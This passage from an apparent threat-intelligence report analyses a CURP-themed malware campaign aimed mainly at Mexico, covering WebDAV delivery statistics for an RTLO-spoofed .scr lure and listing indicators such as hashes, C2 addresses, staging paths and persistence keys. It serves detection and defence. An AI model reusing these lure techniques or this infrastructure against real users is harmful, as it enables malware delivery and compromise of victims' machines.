Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the /Downloads/CURP/ReportFinal.rcs.pdf (RTLO-spoofed .scr executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.

The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.

Table 3: Geographic distribution of WebDAV delivery activity.

Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.

Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.

By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a GET request for an .scr or .exe file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.

Protocol behavior

The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. PROPFIND requests and 207 responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. GET requests and 200 responses show file retrieval, including executable files opened or requested from the share.

Table 4: HTTP methods observed in WebDAV delivery traffic.

Table 5: HTTP status codes observed in WebDAV delivery traffic.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

CURP campaign

Phishing page: hxxps://gobf[.]mx

WebDav server: onedrive[.]cv

ReportFinal.<RLO>.scr SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7

C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888

Domain: google.services[.]ug

Campaign tag:06x12x2026SantaEbash2 (v4.4.3)

Schedule tasks: brokerhost, net_queue_32

Staging paths:

%TEMP%\is-XXXXX.tmp\Fo-Binary.exe

%AppData%\Roaming\inttracer_i686_prod\

C:\ProgramData\inttracer_i686_prod\

DlrtyGames campaign

C2: 23[.]94[.]252[.]228:57666

JA3: fc54e0d16d9764783542f0146a98b300

DlrtyGames.exe

SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268

discord-rpc.x64.dll

SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df

profiler16.dll

SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9

loader-pool.db

SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b

.NET RAT

SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923

Staging paths:

C:\ProgramData\basenet\

%APPDATA%\basenet\

Persistence:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW

\com_app_bg_i686

\messenger_component_v8_32_rc

More indicators of compromise can be found on Rapid7’s GitHub.

Rapid7 customers

Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.

Conclusion

The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.

The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. 

While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.

The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.